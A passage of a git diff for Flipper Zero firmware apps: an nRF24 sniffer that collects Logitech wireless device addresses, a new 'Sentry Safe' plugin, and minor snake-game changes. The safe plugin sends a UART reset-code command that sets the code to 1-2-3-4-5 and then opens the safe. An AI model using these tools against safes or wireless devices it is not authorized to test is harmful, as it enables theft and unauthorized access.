memcpy(addr, altaddr, 5);
|
||||
}
|
||||
|
||||
if(ch <= LOGITECH_MAX_CHANNEL) {
|
||||
hexlify(addr, 5, top_address);
|
||||
save_addr_to_file(storage, addr, 5);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void start_sniffing() {
|
||||
memset(candidates, 0, sizeof(candidates));
|
||||
memset(counts, 0, sizeof(counts));
|
||||
nrf24_init_promisc_mode(nrf24_HANDLE, target_channel, target_rate);
|
||||
}
|
||||
|
||||
int32_t nrfsniff_app(void* p) {
|
||||
UNUSED(p);
|
||||
uint8_t address[5] = {0};
|
||||
uint32_t start = 0;
|
||||
hexlify(address, 5, top_address);
|
||||
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent));
|
||||
PluginState* plugin_state = malloc(sizeof(PluginState));
|
||||
ValueMutex state_mutex;
|
||||
if(!init_mutex(&state_mutex, plugin_state, sizeof(PluginState))) {
|
||||
FURI_LOG_E(TAG, "cannot create mutex\r\n");
|
||||
free(plugin_state);
|
||||
return 255;
|
||||
}
|
||||
|
||||
nrf24_init();
|
||||
|
||||
// Set system callbacks
|
||||
ViewPort* view_port = view_port_alloc();
|
||||
view_port_draw_callback_set(view_port, render_callback, &state_mutex);
|
||||
view_port_input_callback_set(view_port, input_callback, event_queue);
|
||||
|
||||
// Open GUI and register view_port
|
||||
Gui* gui = furi_record_open("gui");
|
||||
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
|
||||
|
||||
Storage* storage = furi_record_open("storage");
|
||||
storage_common_mkdir(storage, NRFSNIFF_APP_PATH_FOLDER);
|
||||
|
||||
PluginEvent event;
|
||||
for(bool processing = true; processing;) {
|
||||
FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100);
|
||||
PluginState* plugin_state = (PluginState*)acquire_mutex_block(&state_mutex);
|
||||
|
||||
if(event_status == FuriStatusOk) {
|
||||
// press events
|
||||
if(event.type == EventTypeKey) {
|
||||
if(event.input.type == InputTypePress ||
|
||||
(event.input.type == InputTypeLong && event.input.key == InputKeyBack)) {
|
||||
switch(event.input.key) {
|
||||
case InputKeyUp:
|
||||
// toggle rate 1/2Mbps
|
||||
if(!sniffing_state) {
|
||||
if(target_rate == 0)
|
||||
target_rate = 8;
|
||||
else
|
||||
target_rate = 0;
|
||||
}
|
||||
break;
|
||||
case InputKeyDown:
|
||||
// toggle preamble
|
||||
if(!sniffing_state) {
|
||||
if(target_preamble[0] == 0x55)
|
||||
target_preamble[0] = 0xAA;
|
||||
else
|
||||
target_preamble[0] = 0x55;
|
||||
|
||||
nrf24_set_src_mac(nrf24_HANDLE, target_preamble, 2);
|
||||
}
|
||||
break;
|
||||
case InputKeyRight:
|
||||
// increment channel
|
||||
if(!sniffing_state && target_channel <= LOGITECH_MAX_CHANNEL)
|
||||
target_channel++;
|
||||
break;
|
||||
case InputKeyLeft:
|
||||
// decrement channel
|
||||
if(!sniffing_state && target_channel > 0) target_channel--;
|
||||
break;
|
||||
case InputKeyOk:
|
||||
// toggle sniffing
|
||||
sniffing_state = !sniffing_state;
|
||||
if(sniffing_state) {
|
||||
start_sniffing();
|
||||
start = furi_get_tick();
|
||||
} else
|
||||
wrap_up(storage);
|
||||
break;
|
||||
case InputKeyBack:
|
||||
if(event.input.type == InputTypeLong) processing = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
FURI_LOG_D(TAG, "osMessageQueue: event timeout");
|
||||
// event timeout
|
||||
}
|
||||
|
||||
if(sniffing_state) {
|
||||
if(nrf24_sniff_address(nrf24_HANDLE, 5, address)) {
|
||||
int idx;
|
||||
uint8_t* top_addr;
|
||||
idx = get_addr_index(address, 5);
|
||||
if(idx == -1)
|
||||
insert_addr(address, 5);
|
||||
else
|
||||
counts[idx]++;
|
||||
|
||||
top_addr = candidates[get_highest_idx()];
|
||||
hexlify(top_addr, 5, top_address);
|
||||
}
|
||||
|
||||
if(furi_get_tick() - start >= SAMPLE_TIME) {
|
||||
wrap_up(storage);
|
||||
target_channel++;
|
||||
if(target_channel > LOGITECH_MAX_CHANNEL) target_channel = 2;
|
||||
|
||||
start_sniffing();
|
||||
start = furi_get_tick();
|
||||
}
|
||||
}
|
||||
|
||||
view_port_update(view_port);
|
||||
release_mutex(&state_mutex, plugin_state);
|
||||
}
|
||||
|
||||
furi_hal_spi_release(nrf24_HANDLE);
|
||||
view_port_enabled_set(view_port, false);
|
||||
gui_remove_view_port(gui, view_port);
|
||||
furi_record_close("gui");
|
||||
furi_record_close("storage");
|
||||
view_port_free(view_port);
|
||||
furi_message_queue_free(event_queue);
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -6,6 +6,5 @@ App(
|
|||
cdefines=["APP_PICOPASS"],
|
||||
requires=["storage", "gui"],
|
||||
stack_size=1 * 1024,
|
||||
icon="A_Plugins_14",
|
||||
order=30,
|
||||
)
|
||||
|
|
10
applications/sentry_safe/application.fam
Normal file
10
applications/sentry_safe/application.fam
Normal file
|
@ -0,0 +1,10 @@
|
|||
App(
|
||||
appid="sentry_safe",
|
||||
name="[GPIO] Sentry Safe",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="sentry_safe_app",
|
||||
cdefines=["APP_SENTRY_SAFE"],
|
||||
requires=["gui"],
|
||||
stack_size=1 * 1024,
|
||||
order=80,
|
||||
)
|
166
applications/sentry_safe/sentry_safe.c
Normal file
166
applications/sentry_safe/sentry_safe.c
Normal file
|
@ -0,0 +1,166 @@
|
|||
#include <furi.h>
|
||||
#include <gui/gui.h>
|
||||
#include <input/input.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include <furi_hal.h>
|
||||
|
||||
typedef struct {
|
||||
uint8_t status;
|
||||
} SentryState;
|
||||
|
||||
typedef enum {
|
||||
EventTypeTick,
|
||||
EventTypeKey,
|
||||
} EventType;
|
||||
|
||||
typedef struct {
|
||||
EventType type;
|
||||
InputEvent input;
|
||||
} Event;
|
||||
|
||||
const char* status_texts[3] = {"[Press OK to open safe]", "Sending...", "Done !"};
|
||||
|
||||
static void sentry_safe_render_callback(Canvas* const canvas, void* ctx) {
|
||||
const SentryState* sentry_state = acquire_mutex((ValueMutex*)ctx, 25);
|
||||
if(sentry_state == NULL) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Before the function is called, the state is set with the canvas_reset(canvas)
|
||||
|
||||
// Frame
|
||||
canvas_draw_frame(canvas, 0, 0, 128, 64);
|
||||
|
||||
// Message
|
||||
canvas_set_font(canvas, FontPrimary);
|
||||
|
||||
canvas_draw_frame(canvas, 22, 4, 84, 24);
|
||||
canvas_draw_str_aligned(canvas, 64, 15, AlignCenter, AlignBottom, "BLACK <-> GND");
|
||||
canvas_draw_str_aligned(canvas, 64, 25, AlignCenter, AlignBottom, "GREEN <-> C1 ");
|
||||
canvas_draw_str_aligned(
|
||||
canvas, 64, 50, AlignCenter, AlignBottom, status_texts[sentry_state->status]);
|
||||
|
||||
release_mutex((ValueMutex*)ctx, sentry_state);
|
||||
}
|
||||
|
||||
static void sentry_safe_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) {
|
||||
furi_assert(event_queue);
|
||||
|
||||
Event event = {.type = EventTypeKey, .input = *input_event};
|
||||
furi_message_queue_put(event_queue, &event, FuriWaitForever);
|
||||
}
|
||||
|
||||
void send_request(int command, int a, int b, int c, int d, int e) {
|
||||
int checksum = (command + a + b + c + d + e);
|
||||
|
||||
furi_hal_gpio_init_simple(&gpio_ext_pc1, GpioModeOutputPushPull);
|
||||
furi_hal_gpio_write(&gpio_ext_pc1, false);
|
||||
furi_delay_ms(3.4);
|
||||
furi_hal_gpio_write(&gpio_ext_pc1, true);
|
||||
|
||||
furi_hal_uart_init(FuriHalUartIdLPUART1, 4800);
|
||||
//furi_hal_uart_set_br(FuriHalUartIdLPUART1, 4800);
|
||||
//furi_hal_uart_set_irq_cb(FuriHalUartIdLPUART1, usb_uart_on_irq_cb, usb_uart);
|
||||
|
||||
uint8_t data[8] = {0x0, command, a, b, c, d, e, checksum};
|
||||
furi_hal_uart_tx(FuriHalUartIdLPUART1, data, 8);
|
||||
|
||||
furi_delay_ms(100);
|
||||
|
||||
furi_hal_uart_set_irq_cb(FuriHalUartIdLPUART1, NULL, NULL);
|
||||
furi_hal_uart_deinit(FuriHalUartIdLPUART1);
|
||||
}
|
||||
|
||||
void reset_code(int a, int b, int c, int d, int e) {
|
||||
send_request(0x75, a, b, c, d, e);
|
||||
}
|
||||
|
||||
void try_code(int a, int b, int c, int d, int e) {
|
||||
send_request(0x71, a, b, c, d, e);
|
||||
}
|
||||
|
||||
int32_t sentry_safe_app(void* p) {
|
||||
UNUSED(p);
|
||||
|
||||
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(Event));
|
||||
|
||||
SentryState* sentry_state = malloc(sizeof(SentryState));
|
||||
|
||||
sentry_state->status = 0;
|
||||
|
||||
ValueMutex state_mutex;
|
||||
if(!init_mutex(&state_mutex, sentry_state, sizeof(SentryState))) {
|
||||
FURI_LOG_E("SentrySafe", "cannot create mutex\r\n");
|
||||
free(sentry_state);
|
||||
return 255;
|
||||
}
|
||||
|
||||
ViewPort* view_port = view_port_alloc();
|
||||
view_port_draw_callback_set(view_port, sentry_safe_render_callback, &state_mutex);
|
||||
view_port_input_callback_set(view_port, sentry_safe_input_callback, event_queue);
|
||||
|
||||
// Open GUI and register view_port
|
||||
Gui* gui = furi_record_open("gui");
|
||||
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
|
||||
|
||||
Event event;
|
||||
for(bool processing = true; processing;) {
|
||||
FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100);
|
||||
|
||||
SentryState* sentry_state = (SentryState*)acquire_mutex_block(&state_mutex);
|
||||
|
||||
if(event_status == FuriStatusOk) {
|
||||
// press events
|
||||
if(event.type == EventTypeKey) {
|
||||
if(event.input.type == InputTypePress) {
|
||||
switch(event.input.key) {
|
||||
case InputKeyUp:
|
||||
break;
|
||||
case InputKeyDown:
|
||||
break;
|
||||
case InputKeyRight:
|
||||
break;
|
||||
case InputKeyLeft:
|
||||
break;
|
||||
|
||||
case InputKeyOk:
|
||||
|
||||
if(sentry_state->status == 2) {
|
||||
sentry_state->status = 0;
|
||||
|
||||
} else if(sentry_state->status == 0) {
|
||||
sentry_state->status = 1;
|
||||
|
||||
reset_code(1, 2, 3, 4, 5);
|
||||
furi_delay_ms(500);
|
||||
try_code(1, 2, 3, 4, 5);
|
||||
|
||||
sentry_state->status = 2;
|
||||
}
|
||||
|
||||
break;
|
||||
case InputKeyBack:
|
||||
processing = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// event timeout
|
||||
}
|
||||
|
||||
view_port_update(view_port);
|
||||
release_mutex(&state_mutex, sentry_state);
|
||||
}
|
||||
|
||||
view_port_enabled_set(view_port, false);
|
||||
gui_remove_view_port(gui, view_port);
|
||||
furi_record_close("gui");
|
||||
view_port_free(view_port);
|
||||
furi_message_queue_free(event_queue);
|
||||
delete_mutex(&state_mutex);
|
||||
free(sentry_state);
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -1,11 +1,10 @@
|
|||
App(
|
||||
appid="snake_game",
|
||||
name="Snake Game",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
apptype=FlipperAppType.GAME,
|
||||
entry_point="snake_game_app",
|
||||
cdefines=["APP_SNAKE_GAME"],
|
||||
requires=["gui"],
|
||||
stack_size=1 * 1024,
|
||||
icon="A_Plugins_14",
|
||||
order=30,
|
||||
order=10,
|
||||
)
|
||||
|
|
|
@ -2,6 +2,8 @@
|
|||
#include <gui/gui.h>
|
||||
#include <input/input.h>
|
||||
#include <stdlib.h>
|
||||
#include <notification/notification.h>
|
||||
#include <notification/notification_messages.h>
|
||||
|
||||
typedef struct {
|
||||
// +-----x
|
||||
|
@ -59,6 +61,15 @@ typedef struct {
|
|||
InputEvent input;
|
||||
} SnakeEvent;
|
||||
|
||||
static const NotificationSequence sequence_short_vibro_and_sound = {
|
||||
&message_vibro_on,
|
||||
&message_note_c5,
|
||||
&message_delay_50,
|
||||
&message_sound_off,
|
||||
&message_vibro_off,
|
||||
NULL,
|
||||
};
|
||||
|
||||
static void snake_game_render_callback(Canvas* const canvas, void* ctx) {
|
||||
const SnakeState* snake_state = acquire_mutex((ValueMutex*)ctx, 25);
|
||||
if(snake_state == NULL) {
|
||||
|
@ -84,6 +95,12 @@ static void snake_game_render_callback(Canvas* const canvas, void* ctx) {
|
|||
canvas_draw_box(canvas, p.x, p.y, 4, 4);
|
||||
}
|
||||
|
||||
// Show score on the game field
|
||||
if(snake_state->state != GameStateGameOver) {
|
||||
char buffer2[6];
|
||||
snprintf(buffer2, sizeof(buffer2), "%u", snake_state->len - 7);
|
||||
canvas_draw_str_aligned(canvas, 124, 10, AlignRight, AlignBottom, buffer2);
|
||||
}
|
||||
// Game Over banner
|
||||
if(snake_state->state == GameStateGameOver) {
|
||||
// Screen is 128x64 px
|
||||
|
@ -230,7 +247,7 @@ static void snake_game_move_snake(SnakeState* const snake_state, Point const nex
|
|||
snake_state->points[0] = next_step;
|
||||
}
|
||||
|
||||
static void snake_game_process_game_step(SnakeState* const snake_state) {
|
||||
static void snake_game_process_game_step(SnakeState* const snake_state, NotificationApp* notify) {
|
||||
if(snake_state->state == GameStateGameOver) {
|
||||
return;
|
||||
}
|
||||
|
@ -265,6 +282,9 @@ static void snake_game_process_game_step(SnakeState* const snake_state) {
|
|||
|
||||
bool eatFruit = (next_step.x == snake_state->fruit.x) && (next_step.y == snake_state->fruit.y);
|
||||
if(eatFruit) {
|
||||
notification_message(notify, &sequence_short_vibro_and_sound);
|
||||
//notification_message(notify, &sequence_blink_white_100);
|
||||
|
||||
snake_state->len++;
|
||||
if(snake_state->len >= MAX_SNAKE_LEN) {
|
||||
snake_state->state = GameStateGameOver;
|
||||
|
@ -307,6 +327,8 @@ int32_t snake_game_app(void* p) {
|
|||
Gui* gui = furi_record_open(RECORD_GUI);
|
||||
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
|
||||
|
||||
NotificationApp* notification = furi_record_open(RECORD_NOTIFICATION);
|
||||
|
||||
SnakeEvent event;
|
||||
for(bool processing = true; processing;) {
|
||||
FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100);
|
||||
|
@ -341,7 +363,7 @@ int32_t snake_game_app(void* p) {
|
|||
}
|
||||
}
|
||||
} else if(event.type == EventTypeTick) {
|
||||
snake_game_process_game_step(snake_state);
|
||||
snake_game_process_game_step(snake_state, notification);
|
||||
}
|
||||
} else {
|
||||
// event timeout
|
||||
|
@ -355,6 +377,7 @@ int32_t snake_game_app(void* p) {
|
|||
view_port_enabled_set(view_port, false);
|
||||
gui_remove_view_port(gui, view_port);
|
||||
furi_record_close(RECORD_GUI);
|
||||
furi_record_close(RECORD_NOTIFICATION);
|
||||
view_port_free(view_port);
|
||||
furi_message_queue_free(event_queue);
|
||||
delete_mutex(&state_mutex);
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show more
Loading…
Reference in a new issue